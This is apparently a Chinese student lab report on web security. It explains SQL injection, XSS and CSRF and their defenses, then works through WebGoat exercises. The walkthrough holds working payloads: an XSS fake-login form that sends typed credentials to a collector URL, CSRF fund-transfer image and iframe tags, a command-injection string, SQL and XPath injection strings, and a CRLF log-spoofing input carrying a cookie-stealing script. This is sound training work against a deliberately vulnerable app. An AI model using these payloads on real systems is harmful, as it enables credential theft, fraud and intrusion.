20155333 《網絡對抗》 Exp9 Web安全基礎

20155333 《網絡對抗》 Exp9 Web安全基礎

基礎問題回答

1.SQL注入攻擊原理,如何防護?html

  • 原理:
    經過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。其實就是輸入框中的字符提交到後臺的數據庫中會與SQL語句組合拼接,若是猜想出後臺的SQL語句格式,而後有針對性的輸入,就能夠達到相應目的。

防護:java

  • 能夠在後臺控制輸入的長度或者禁止用戶輸入一些特殊符號,例如 -- 、' 等
  • 能夠經過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入做爲一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入做爲一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。

2.XSS攻擊的原理,如何防護?git

  • 原理:
    攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。web

  • 防護:
    瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。sql

一個原則:不相信用戶輸入的任何數據!數據庫

3.CSRF攻擊原理,如何防護?瀏覽器

  • 原理:
    CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
    主要是當訪問網站A時輸入用戶名和密碼,在經過驗證後,網站A產生Cookie信息並返回,此時登陸網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另外一個網站B,網站B可返回一些攻擊性代碼並請求訪問網站A;所以在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,所以仍是會執行該惡意代碼安全

  • 防護:
    • 改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。
    • 使用「請求令牌」。首先服務器端要以某種策略生成隨機字符串,做爲令牌(token),保存在Session裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與Session中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登錄驗證身份。服務器

      實踐

      WebGoat

  • 下載webgoat-container-7.1-war-exec.jar文件
  • 在含有「webgoat-container-7.0.1-war-exec.jar」文件的目錄下執行java -jar webgoat-container-7.1-war-exec.jar開啓WebGoat
  • 在瀏覽器中輸入「http://localhost:8080/WebGoat」進入WebGoat登陸界面
  • 使用用默認用戶名密碼登陸cookie

XSS攻擊

Phishing with XSS 跨站腳本釣魚攻擊

  • 在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS

  • 將下面這段代碼輸入到"Search:"輸入框中,點擊search;

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

會出現代碼中所指定的綠、紅、藍三塊div

下方出現用於欺騙用戶的提示語「This feature requires account login:」和用戶名、密碼輸入框

在登陸框中輸入用戶名、密碼,eg:20155333 123456,點擊登陸後,會像代碼中alert提示的,顯示被竊取的用戶名和密碼

Stored XSS Attacks 存儲型XSS攻擊

  • 打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks
  • 在Message框中輸入上面那段代碼,並點擊submit,Title隨便輸入
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

提交後,下方「Message List」中會新增剛輸入的Tile名字的連接

點擊連接能夠看到html已經注入成功,messege部分顯示的是綠、紅、藍三色框

在下方用戶名密碼處輸入,eg:20155333 123456

點擊提交後,成功獲取用戶名和密碼

Reflected XSS Attacks 反射型XSS攻擊

  • 打開xss的第三個攻擊Reflected XSS Attacks

  • 在「Enter your three digit access code:」中輸入<script>alert("5333");</script>點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容

輸入前面編寫的腳本,一樣會成功

CSRF攻擊

Cross Site Request Forgery(CSRF)

  • 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)

  • 查看頁面下方Parameters中的src和menu值,分別爲2078372和900

  • 在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=10000" width="1" height="1" />,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交
  • 提交後,在Message List中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的10000元,從而達到CSRF攻擊的目的

CSRF Prompt By-Pass

  • 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass

  • 同攻擊4,查看頁面下側Parameters中的src和menu值(1471017872和900),並在message框中輸入代碼:

<iframe src="attack?Screen= 1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen= 1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成以Title命名的連接,點擊進入後,攻擊成功

SQL注入攻擊

命令注入(Command Injection)

  • 按F12進入調試界面,選擇Inspect...對源代碼進行修改。

  • AccessControlMatrix.help後面加上"& netstat -an & ipconfig"

點擊view,便可查看命令執行結果

Numeric SQL Injection

  • 按F12進入調試界面,選擇Inspect...對源代碼進行修改。

  • 在選項列表中,任意選擇一個值,好比「101」,後面加上or 1=1

輸出以下

日誌欺騙(Log Spoofing)

  • 在username中填入5333%0d%0aLogin Succeeded for username: admin,利用回車(0D%)和換行符(%0A)讓其在日誌中兩行顯示

  • 點擊Login,可見5333在Login Fail那行顯示,添加的語句在下一行顯示

攻擊者能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。好比,將admin <script>alert(document.cookie)</script>做爲用戶名輸入

XPATH Spoofing

在用戶名處注入Smith' or 1=1 or 'a'='a,這將會顯示登陸系統的第一個用戶。密碼是必須的字段,能夠任意輸入,「登陸」可看到其餘人的信息

LAB:SQL Injection

  • 在密碼框輸入' or 1=1 --,登陸失敗用Firebug查看網頁源碼,發現密碼長度有限制

  • 將密碼長度maxlength改成100,再次嘗試

登陸成功

字符串型注入(String SQL Injection)

  • 擇Injection Flaws中的String SQL Injection

  • 輸入查詢的用戶名Smith' or 1=1--

這樣Smith 和1=1都成了查詢的條件,而1=1是恆等式,這樣就能select表裏面的全部數據。

總結與體會

本課程最後一次實驗,圓滿結束!

相關文章
相關標籤/搜索